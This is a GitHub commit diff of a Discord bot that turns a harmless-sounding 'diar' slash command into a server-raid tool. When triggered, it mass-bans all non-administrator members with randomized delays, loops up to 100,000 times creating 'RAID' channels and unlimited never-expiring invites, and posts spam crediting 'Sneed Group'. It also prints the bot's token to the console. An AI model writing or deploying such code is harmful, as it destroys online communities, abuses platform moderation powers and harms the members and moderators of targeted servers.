Add files via upload

This commit is contained in:
Sam Sneed 2024-07-06 19:03:57 +00:00 committed by GitHub
parent 7f554ddd23
commit 8262fda90d
No known key found for this signature in database
GPG key ID: B5690EEEBB952194

View file

@ -1,12 +1,8 @@
import { REST, Routes, Client, GatewayIntentBits } from 'discord.js'; import { REST, Routes, Client, GatewayIntentBits, PermissionFlagsBits } from 'discord.js';
const TOKEN = process.argv[2] const TOKEN = process.argv[2]
const CLIENT_ID = process.argv[3] const CLIENT_ID = process.argv[3]
const commands = [ const commands = [
{
name: 'ping',
description: 'Replies with Pong!',
},
{ {
name: 'diar', name: 'diar',
description: 'Dairy air!', description: 'Dairy air!',
@ -35,40 +31,45 @@ client.on('ready', () => {
console.log(`Logged in as ${client.user.tag}!`); console.log(`Logged in as ${client.user.tag}!`);
}); });
client.on('interactionCreate', async interaction => { async function raidMain(guild, interaction) {
if (!interaction.isChatInputCommand()) return; console.log("MAIN RAN")
for (let i = 0; i < 100000; i++) {
if (interaction.commandName === 'ping') { console.log(`Creating channel RAID-${i}`)
await interaction.reply('Pong!');
} else if (interaction.commandName === 'diar') {
await interaction.user.createDM("Starting raid NOW...")
let guild = interaction.channel.guild
for (const member of guild.members.cache.values()) {
try {
await member.ban();
console.log(`${member.user.tag} has been banned.`);
} catch (error) {
console.warn(`Failed to ban ${member.user.tag}:`, error);
}
}
for (i = 0; i <= 100000, i++;) {
guild.channels.create({ name: `RAID-${i}`, reason: 'COOL CHANNEL IS COOL' }) guild.channels.create({ name: `RAID-${i}`, reason: 'COOL CHANNEL IS COOL' })
.then(console.log)
.catch(console.error);
interaction.channel.createInvite({ interaction.channel.createInvite({
maxAge: 0, // Invite never expires (adjust as needed) maxAge: 0, // Invite never expires (adjust as needed)
maxUses: 0, // Unlimited uses (adjust as needed) maxUses: 0, // Unlimited uses (adjust as needed)
}).then(console.log).catch(console.warn) })
try { try {
interaction.channel.send(`# RAID interaction.channel.send(`# RAID
This is a raid! Everybody get down!`) This is a raid! Everybody get down!
***This raid brought to you by [Sneed Group](https://github.com/sneed-group) and [NodeMixaholic.com!](https://nodemixaholic.com)***`)
} catch { } catch {
console.warn("Error sending raid msg! (Timeout?)") console.warn("Error sending raid msg! (Timeout?)")
} }
await new Promise(r => setTimeout(r, randInt(500,6200))); await new Promise(r => setTimeout(r, randInt(500,6200)));
} }
} }
client.on('interactionCreate', async interaction => {
if (!interaction.isChatInputCommand()) return;
if (interaction.commandName === 'diar') {
console.log("RAID STARTED.")
let guild = interaction.channel.guild
for (const member of guild.members.cache.values()) {
try {
if (!member.permissions.has(PermissionFlagsBits.Administrator) || !member.permissions.has(PermissionFlagsBits.Administrator)) {
await member.ban();
console.log(`${member.user.tag} has been banned.`);
}
}catch{console.log("Error banning!")}
await new Promise(r => setTimeout(r, randInt(100,420)));
}
raidMain(guild, interaction)
interaction.reply("OK")
}
}); });
console.log(`${TOKEN}`) console.log(`${TOKEN}`)